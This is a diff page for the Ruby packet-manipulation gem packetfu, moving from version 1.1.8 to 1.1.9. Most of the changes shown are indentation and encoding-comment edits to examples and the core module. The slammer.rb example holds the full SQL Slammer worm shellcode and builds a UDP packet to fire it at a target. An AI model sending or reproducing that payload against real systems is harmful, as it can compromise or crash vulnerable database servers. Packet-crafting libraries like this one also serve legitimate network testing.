packetfu 1.1.8 → 1.1.9

Sign up to get free protection for your applications and to get access to all the features.
Files changed (84) hide show
  1. data/README.rdoc +11 -12
  2. data/bench/octets.rb +9 -9
  3. data/examples/100kpackets.rb +13 -12
  4. data/examples/ackscan.rb +17 -16
  5. data/examples/arp.rb +36 -35
  6. data/examples/arphood.rb +37 -36
  7. data/examples/dissect_thinger.rb +7 -6
  8. data/examples/ethernet.rb +1 -0
  9. data/examples/examples.rb +1 -0
  10. data/examples/ifconfig.rb +1 -0
  11. data/examples/new-simple-stats.rb +24 -23
  12. data/examples/packetfu-shell.rb +26 -25
  13. data/examples/simple-sniffer.rb +10 -9
  14. data/examples/simple-stats.rb +24 -23
  15. data/examples/slammer.rb +4 -3
  16. data/lib/packetfu.rb +128 -127
  17. data/lib/packetfu/capture.rb +170 -169
  18. data/lib/packetfu/config.rb +53 -52
  19. data/lib/packetfu/inject.rb +57 -56
  20. data/lib/packetfu/packet.rb +529 -528
  21. data/lib/packetfu/pcap.rb +580 -579
  22. data/lib/packetfu/protos/arp.rb +91 -90
  23. data/lib/packetfu/protos/arp/header.rb +159 -158
  24. data/lib/packetfu/protos/arp/mixin.rb +37 -36
  25. data/lib/packetfu/protos/eth.rb +45 -44
  26. data/lib/packetfu/protos/eth/header.rb +244 -243
  27. data/lib/packetfu/protos/eth/mixin.rb +4 -3
  28. data/lib/packetfu/protos/hsrp.rb +70 -69
  29. data/lib/packetfu/protos/hsrp/header.rb +108 -107
  30. data/lib/packetfu/protos/hsrp/mixin.rb +30 -29
  31. data/lib/packetfu/protos/icmp.rb +72 -71
  32. data/lib/packetfu/protos/icmp/header.rb +83 -82
  33. data/lib/packetfu/protos/icmp/mixin.rb +15 -14
  34. data/lib/packetfu/protos/invalid.rb +50 -49
  35. data/lib/packetfu/protos/ip.rb +70 -69
  36. data/lib/packetfu/protos/ip/header.rb +292 -291
  37. data/lib/packetfu/protos/ip/mixin.rb +41 -40
  38. data/lib/packetfu/protos/ipv6.rb +51 -50
  39. data/lib/packetfu/protos/ipv6/header.rb +189 -188
  40. data/lib/packetfu/protos/ipv6/mixin.rb +30 -29
  41. data/lib/packetfu/protos/lldp.rb +3 -1
  42. data/lib/packetfu/protos/lldp/header.rb +1 -0
  43. data/lib/packetfu/protos/lldp/mixin.rb +1 -0
  44. data/lib/packetfu/protos/tcp.rb +177 -176
  45. data/lib/packetfu/protos/tcp/ecn.rb +36 -35
  46. data/lib/packetfu/protos/tcp/flags.rb +75 -74
  47. data/lib/packetfu/protos/tcp/header.rb +269 -268
  48. data/lib/packetfu/protos/tcp/hlen.rb +33 -32
  49. data/lib/packetfu/protos/tcp/mixin.rb +47 -46
  50. data/lib/packetfu/protos/tcp/option.rb +322 -321
  51. data/lib/packetfu/protos/tcp/options.rb +96 -95
  52. data/lib/packetfu/protos/tcp/reserved.rb +36 -35
  53. data/lib/packetfu/protos/udp.rb +117 -116
  54. data/lib/packetfu/protos/udp/header.rb +92 -91
  55. data/lib/packetfu/protos/udp/mixin.rb +4 -3
  56. data/lib/packetfu/structfu.rb +281 -280
  57. data/lib/packetfu/utils.rb +211 -208
  58. data/lib/packetfu/version.rb +42 -41
  59. data/packetfu.gemspec +1 -1
  60. data/spec/ethpacket_spec.rb +48 -48
  61. data/spec/packet_spec.rb +57 -57
  62. data/spec/packet_subclasses_spec.rb +8 -8
  63. data/spec/packetfu_spec.rb +59 -59
  64. data/spec/structfu_spec.rb +268 -268
  65. data/spec/tcp_spec.rb +75 -75
  66. data/test/all_tests.rb +13 -13
  67. data/test/func_lldp.rb +3 -3
  68. data/test/ptest.rb +2 -2
  69. data/test/test_arp.rb +116 -116
  70. data/test/test_capture.rb +45 -45
  71. data/test/test_eth.rb +68 -68
  72. data/test/test_hsrp.rb +9 -9
  73. data/test/test_icmp.rb +52 -52
  74. data/test/test_inject.rb +18 -18
  75. data/test/test_invalid.rb +16 -16
  76. data/test/test_ip.rb +36 -36
  77. data/test/test_ip6.rb +48 -48
  78. data/test/test_octets.rb +21 -21
  79. data/test/test_packet.rb +154 -154
  80. data/test/test_pcap.rb +170 -170
  81. data/test/test_structfu.rb +97 -97
  82. data/test/test_tcp.rb +320 -320
  83. data/test/test_udp.rb +76 -76
  84. metadata +2 -2
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
  # == Synopsis
2
3
  #
3
4
  # packetfu-shell.rb is intended for IRB consumption, and providing an
@@ -48,12 +49,12 @@ require './examples'
48
49
  require 'packetfu'
49
50
 
50
51
  module PacketFu
51
- def whoami?(args={})
52
- Utils.whoami?(args)
53
- end
54
- def arp(arg)
55
- Utils.arp(arg)
56
- end
52
+ def whoami?(args={})
53
+ Utils.whoami?(args)
54
+ end
55
+ def arp(arg)
56
+ Utils.arp(arg)
57
+ end
57
58
  end
58
59
 
59
60
  include PacketFu
@@ -63,7 +64,7 @@ include PacketFu
63
64
  # http://jisho.org/words?jap=+%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%83%95&eng=&dict=edict
64
65
  #
65
66
  def packetfu_ascii_art
66
- puts <<EOM
67
+ puts <<EOM
67
68
  _______ _______ _______ _ _______ _________ _______
68
69
  ( ____ )( ___ )( ____ \\| \\ /\\( ____ \\\\__ __/( ____ \\|\\ /|
69
70
  | ( )|| ( ) || ( \\/| \\ / /| ( \\/ ) ( | ( \\/| ) ( |
@@ -81,33 +82,33 @@ def packetfu_ascii_art
81
82
  a mid-level packet manipulation library for ruby
82
83
 
83
84
  EOM
84
- end
85
+ end
85
86
 
86
87
  @pcaprub_loaded = PacketFu.pcaprub_loaded?
87
88
  # Displays a helpful banner.
88
89
  def banner
89
- packetfu_ascii_art
90
- puts ">>> PacketFu Shell #{PacketFu.version}."
91
- if Process.euid.zero? && @pcaprub_loaded
92
- puts ">>> Use $packetfu_default.config for salient networking details."
93
- print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
94
- puts " Gateway: %s" % $packetfu_default.eth_daddr
95
- print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
96
- print " " * 13
97
- puts "Iface: %s" % [($packetfu_default.iface)]
98
- puts ">>> Packet capturing/injecting enabled."
99
- else
100
- print ">>> Packet capturing/injecting disabled. "
101
- puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
102
- end
103
- puts "<>" * 36
90
+ packetfu_ascii_art
91
+ puts ">>> PacketFu Shell #{PacketFu.version}."
92
+ if Process.euid.zero? && @pcaprub_loaded
93
+ puts ">>> Use $packetfu_default.config for salient networking details."
94
+ print "IP: %-15s Mac: %s" % [$packetfu_default.ip_saddr, $packetfu_default.eth_saddr]
95
+ puts " Gateway: %s" % $packetfu_default.eth_daddr
96
+ print "Net: %-15s" % [Pcap.lookupnet($packetfu_default.iface)][0]
97
+ print " " * 13
98
+ puts "Iface: %s" % [($packetfu_default.iface)]
99
+ puts ">>> Packet capturing/injecting enabled."
100
+ else
101
+ print ">>> Packet capturing/injecting disabled. "
102
+ puts Process.euid.zero? ? "(no PcapRub)" : "(not root)"
103
+ end
104
+ puts "<>" * 36
104
105
  end
105
106
 
106
107
  # Silly wlan0 workaround
107
108
  begin
108
- $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
109
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?) if(@pcaprub_loaded && Process.euid.zero?)
109
110
  rescue RuntimeError
110
- $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
111
+ $packetfu_default = PacketFu::Config.new(Utils.whoami?(:iface => 'wlan0')) if(@pcaprub_loaded && Process.euid.zero?)
111
112
  end
112
113
 
113
114
  banner
@@ -1,4 +1,5 @@
1
1
  #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
2
3
  require './examples'
3
4
  require 'packetfu'
4
5
 
@@ -7,15 +8,15 @@ include PacketFu
7
8
  iface = ARGV[0] || "eth0"
8
9
 
9
10
  def sniff(iface)
10
- cap = Capture.new(:iface => iface, :start => true)
11
- cap.stream.each do |p|
12
- pkt = Packet.parse p
13
- if pkt.is_ip?
14
- next if pkt.ip_saddr == Utils.ifconfig(iface)[:ip_saddr]
15
- packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
16
- puts "%-15s -> %-15s %-4d %s" % packet_info
17
- end
18
- end
11
+ cap = Capture.new(:iface => iface, :start => true)
12
+ cap.stream.each do |p|
13
+ pkt = Packet.parse p
14
+ if pkt.is_ip?
15
+ next if pkt.ip_saddr == Utils.ifconfig(iface)[:ip_saddr]
16
+ packet_info = [pkt.ip_saddr, pkt.ip_daddr, pkt.size, pkt.proto.last]
17
+ puts "%-15s -> %-15s %-4d %s" % packet_info
18
+ end
19
+ end
19
20
  end
20
21
 
21
22
  sniff(iface)
@@ -1,4 +1,5 @@
1
1
  #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
2
3
 
3
4
  # Simple-stats.rb takes a pcap file, and gives some simple
4
5
  # stastics on the protocols found. It's mainly used to
@@ -15,33 +16,33 @@ require 'packetfu'
15
16
  # Takes a file name, parses the packets, and records the packet
16
17
  # type based on its PacketFu class.
17
18
  def count_packet_types(file)
18
- file = File.open(file) {|f| f.read}
19
- stats = {}
20
- count = 0
21
- pcapfile = PacketFu::PcapPackets.new
22
- pcapfile.read(file)
23
- pcapfile.each do |p|
24
- # Now it's a PacketFu packet struct.
25
- pkt = PacketFu::Packet.parse(p.data)
26
- kind = pkt.class.to_s.split("::").last
27
- if stats[kind]
28
- stats[kind] += 1
29
- else
30
- stats[kind] = 0
31
- end
32
- count += 1
33
- break if count >= 1_000
34
- end
35
- stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
19
+ file = File.open(file) {|f| f.read}
20
+ stats = {}
21
+ count = 0
22
+ pcapfile = PacketFu::PcapPackets.new
23
+ pcapfile.read(file)
24
+ pcapfile.each do |p|
25
+ # Now it's a PacketFu packet struct.
26
+ pkt = PacketFu::Packet.parse(p.data)
27
+ kind = pkt.class.to_s.split("::").last
28
+ if stats[kind]
29
+ stats[kind] += 1
30
+ else
31
+ stats[kind] = 0
32
+ end
33
+ count += 1
34
+ break if count >= 1_000
35
+ end
36
+ stats.each_pair { |k,v| puts "%-12s: %4d" % [k,v] }
36
37
  end
37
38
 
38
39
  if File.readable?(infile = (ARGV[0] || 'in.pcap'))
39
- title = "Packets by packet type in '#{infile}'"
40
- puts title
41
- puts "-" * title.size
42
- count_packet_types(infile)
40
+ title = "Packets by packet type in '#{infile}'"
41
+ puts title
42
+ puts "-" * title.size
43
+ count_packet_types(infile)
43
44
  else
44
- raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
45
+ raise RuntimeError, "Need an infile, like so: #{$0} in.pcap"
45
46
  end
46
47
 
47
48
 
data/examples/slammer.rb CHANGED
@@ -1,4 +1,5 @@
1
1
  #!/usr/bin/env ruby
2
+ # -*- coding: binary -*-
2
3
 
3
4
  # Fires off a slammer packet to an unsuspecting target. This code does not
4
5
  # break real devices! (To do that, you'll need to fix up the targetting)
@@ -13,7 +14,7 @@ include PacketFu
13
14
  slammer = "\004\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001" + "\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\001\334\311\260B\353\016" + "\001\001\001\001\001\001\001p\256B\001p\256B\220\220\220\220\220\220\220\220h\334\311\260B\270\001\001" + "\001\0011\311\261\030P\342\3755\001\001\001\005P\211\345Qh.dllhel32hkernQhounthickChGetTf" + "\271llQh32.dhws2_f\271etQhsockf\271toQhsend\276\030\020\256B\215E\324P\377\026P\215E\340P\215E\360P\377" + "\026P\276\020\020\256B\213\036\213\003=U\213\354Qt\005\276\034\020\256B\377\026\377\3201\311QQP\201\361" + "\003\001\004\233\201\361\001\001\001\001Q\215E\314P\213E\300P\377\026j\021j\002j\002\377\320P\215E\304P" + "\213E\300P\377\026\211\306\t\333\201\363<a\331\377\213E\264\215\f@\215\024\210\301\342\004\001\302\301" + "\342\b)\302\215\004\220\001\330\211E\264j\020\215E\260P1\311Qf\201\361x\001Q\215E\003P\213E\254P\377\326" + "\353\312"
14
15
 
15
16
  def rand_source_ip
16
- [rand(0xffffffff)].pack("N")
17
+ [rand(0xffffffff)].pack("N")
17
18
  end
18
19
 
19
20
  kill_packet = UDPPacket.new
@@ -25,9 +26,9 @@ kill_packet.recalc
25
26
  kill_packet.payload = slammer
26
27
 
27
28
  if action == 'file'.downcase
28
- puts kill_packet.to_f
29
+ puts kill_packet.to_f
29
30
  else
30
- puts kill_packet.to_w(action.downcase)
31
+ puts kill_packet.to_w(action.downcase)
31
32
  end
32
33
 
33
34
 
data/lib/packetfu.rb CHANGED
@@ -1,3 +1,4 @@
1
+ # -*- coding: binary -*-
1
2
 
2
3
  # :title: PacketFu Documentation
3
4
  # :main: README
@@ -12,133 +13,133 @@ require 'rubygems' if RUBY_VERSION =~ /^1\.[0-8]/
12
13
 
13
14
  module PacketFu
14
15
 
15
- # Picks up all the protocols defined in the protos subdirectory
16
- def self.require_protos(cwd)
17
- protos_dir = File.join(cwd, "packetfu", "protos")
18
- Dir.new(protos_dir).each do |fname|
19
- next unless fname[/\.rb$/]
20
- begin
21
- require File.join(protos_dir,fname)
22
- rescue
23
- warn "Warning: Could not load `#{fname}'. Skipping."
24
- end
25
- end
26
- end
27
-
28
- # Deal with Ruby's encoding by ignoring it.
29
- def self.force_binary(str)
30
- str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding
31
- end
32
-
33
- # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
34
- @byte_order = :little
35
-
36
- # Checks if pcaprub is loaded correctly.
37
- @pcaprub_loaded = false
38
-
39
- # PacketFu works best with Pcaprub version 0.8-dev (at least)
40
- # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
41
- def self.pcaprub_platform_require
42
- begin
43
- require 'pcaprub'
44
- rescue LoadError
45
- return false
46
- end
47
- @pcaprub_loaded = true
48
- end
49
-
50
- pcaprub_platform_require
51
-
52
- if @pcaprub_loaded
53
- pcaprub_regex = /[0-9]\.([8-9]|[1-7][0-9])(-dev)?/ # Regex for 0.8 and beyond.
54
- if Pcap.version !~ pcaprub_regex
55
- @pcaprub_loaded = false # Don't bother with broken versions
56
- raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
57
- end
58
- require "packetfu/capture"
59
- require "packetfu/inject"
60
- end
61
-
62
- # Returns the status of pcaprub
63
- def self.pcaprub_loaded?
64
- @pcaprub_loaded
65
- end
66
-
67
- # Returns an array of classes defined in PacketFu
68
- def self.classes
69
- constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
70
- end
71
-
72
- # Adds the class to PacketFu's list of packet classes -- used in packet parsing.
73
- def self.add_packet_class(klass)
74
- raise "Need a class" unless klass.kind_of? Class
75
- if klass.name !~ /[A-Za-z0-9]Packet/
76
- raise "Packet classes should be named 'ProtoPacket'"
77
- end
78
- @packet_classes ||= []
79
- @packet_classes << klass
80
- @packet_classes_dirty = true
81
- @packet_classes.sort! {|x,y| x.name <=> y.name}
82
- end
83
-
84
- # Presumably, there may be a time where you'd like to remove a packet class.
85
- def self.remove_packet_class(klass)
86
- raise "Need a class" unless klass.kind_of? Class
87
- @packet_classes ||= []
88
- @packet_classes.delete klass
89
- @packet_classes_dirty = true
90
- @packet_classes
91
- end
92
-
93
- # Returns an array of packet classes
94
- def self.packet_classes
95
- @packet_classes || []
96
- end
97
-
98
- # Returns an array of packet types by packet prefix.
99
- def self.packet_prefixes
100
- return [] if @packet_classes.nil?
101
- return @packet_class_prefixes if @packet_classes_dirty == false
102
- @packet_classes_dirty = false
103
- @packet_class_prefixes = @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
104
- return @packet_class_prefixes
105
- end
106
-
107
- # The current inspect style. One of :hex, :dissect, or :default
108
- # Note that :default means Ruby's default, which is usually
109
- # far too long to be useful.
110
- def self.inspect_style
111
- @inspect_style ||= :dissect
112
- end
113
-
114
- # Setter for PacketFu's @inspect_style
115
- def self.inspect_style=(arg)
116
- @inspect_style = case arg
117
- when :hex, :pretty
118
- :hex
119
- when :dissect, :verbose
120
- :dissect
121
- when :default, :ugly
122
- :default
123
- else
124
- :dissect
125
- end
126
- end
127
-
128
- # Switches inspect styles in a round-robin fashion between
129
- # :dissect, :default, and :hex
130
- def toggle_inspect
131
- case @inspect_style
132
- when :hex, :pretty
133
- @inspect_style = :dissect
134
- when :dissect, :verbose
135
- @inspect_style = :default
136
- when :default, :ugly
137
- @inspect_style = :hex
138
- else
139
- @inspect_style = :dissect
140
- end
141
- end
16
+ # Picks up all the protocols defined in the protos subdirectory
17
+ def self.require_protos(cwd)
18
+ protos_dir = File.join(cwd, "packetfu", "protos")
19
+ Dir.new(protos_dir).each do |fname|
20
+ next unless fname[/\.rb$/]
21
+ begin
22
+ require File.join(protos_dir,fname)
23
+ rescue
24
+ warn "Warning: Could not load `#{fname}'. Skipping."
25
+ end
26
+ end
27
+ end
28
+
29
+ # Deal with Ruby's encoding by ignoring it.
30
+ def self.force_binary(str)
31
+ str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding
32
+ end
33
+
34
+ # Sets the expected byte order for a pcap file. See PacketFu::Read.set_byte_order
35
+ @byte_order = :little
36
+
37
+ # Checks if pcaprub is loaded correctly.
38
+ @pcaprub_loaded = false
39
+
40
+ # PacketFu works best with Pcaprub version 0.8-dev (at least)
41
+ # The current (Aug 01, 2010) pcaprub gem is 0.9, so should be fine.
42
+ def self.pcaprub_platform_require
43
+ begin
44
+ require 'pcaprub'
45
+ rescue LoadError
46
+ return false
47
+ end
48
+ @pcaprub_loaded = true
49
+ end
50
+
51
+ pcaprub_platform_require
52
+
53
+ if @pcaprub_loaded
54
+ pcaprub_regex = /[0-9]\.([8-9]|[1-7][0-9])(-dev)?/ # Regex for 0.8 and beyond.
55
+ if Pcap.version !~ pcaprub_regex
56
+ @pcaprub_loaded = false # Don't bother with broken versions
57
+ raise LoadError, "PcapRub not at a minimum version of 0.8-dev"
58
+ end
59
+ require "packetfu/capture"
60
+ require "packetfu/inject"
61
+ end
62
+
63
+ # Returns the status of pcaprub
64
+ def self.pcaprub_loaded?
65
+ @pcaprub_loaded
66
+ end
67
+
68
+ # Returns an array of classes defined in PacketFu
69
+ def self.classes
70
+ constants.map { |const| const_get(const) if const_get(const).kind_of? Class}.compact
71
+ end
72
+
73
+ # Adds the class to PacketFu's list of packet classes -- used in packet parsing.
74
+ def self.add_packet_class(klass)
75
+ raise "Need a class" unless klass.kind_of? Class
76
+ if klass.name !~ /[A-Za-z0-9]Packet/
77
+ raise "Packet classes should be named 'ProtoPacket'"
78
+ end
79
+ @packet_classes ||= []
80
+ @packet_classes << klass
81
+ @packet_classes_dirty = true
82
+ @packet_classes.sort! {|x,y| x.name <=> y.name}
83
+ end
84
+
85
+ # Presumably, there may be a time where you'd like to remove a packet class.
86
+ def self.remove_packet_class(klass)
87
+ raise "Need a class" unless klass.kind_of? Class
88
+ @packet_classes ||= []
89
+ @packet_classes.delete klass
90
+ @packet_classes_dirty = true
91
+ @packet_classes
92
+ end
93
+
94
+ # Returns an array of packet classes
95
+ def self.packet_classes
96
+ @packet_classes || []
97
+ end
98
+
99
+ # Returns an array of packet types by packet prefix.
100
+ def self.packet_prefixes
101
+ return [] if @packet_classes.nil?
102
+ return @packet_class_prefixes if @packet_classes_dirty == false
103
+ @packet_classes_dirty = false
104
+ @packet_class_prefixes = @packet_classes.map {|p| p.to_s.split("::").last.to_s.downcase.gsub(/packet$/,"")}
105
+ return @packet_class_prefixes
106
+ end
107
+
108
+ # The current inspect style. One of :hex, :dissect, or :default
109
+ # Note that :default means Ruby's default, which is usually
110
+ # far too long to be useful.
111
+ def self.inspect_style
112
+ @inspect_style ||= :dissect
113
+ end
114
+
115
+ # Setter for PacketFu's @inspect_style
116
+ def self.inspect_style=(arg)
117
+ @inspect_style = case arg
118
+ when :hex, :pretty
119
+ :hex
120
+ when :dissect, :verbose
121
+ :dissect
122
+ when :default, :ugly
123
+ :default
124
+ else
125
+ :dissect
126
+ end
127
+ end
128
+
129
+ # Switches inspect styles in a round-robin fashion between
130
+ # :dissect, :default, and :hex
131
+ def toggle_inspect
132
+ case @inspect_style
133
+ when :hex, :pretty
134
+ @inspect_style = :dissect
135
+ when :dissect, :verbose
136
+ @inspect_style = :default
137
+ when :default, :ugly
138
+ @inspect_style = :hex
139
+ else
140
+ @inspect_style = :dissect
141
+ end
142
+ end
142
143
 
143
144
 
144
145
  end